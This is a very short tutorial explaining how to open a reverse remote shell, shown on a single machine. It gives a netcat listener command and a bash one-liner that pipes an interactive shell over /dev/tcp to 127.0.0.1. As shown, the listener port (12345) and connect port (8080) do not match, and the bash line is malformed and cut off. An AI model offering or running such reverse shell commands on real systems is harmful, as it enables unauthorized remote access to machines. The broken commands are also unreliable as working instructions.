Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it: nc -l 12345 This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command: /bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0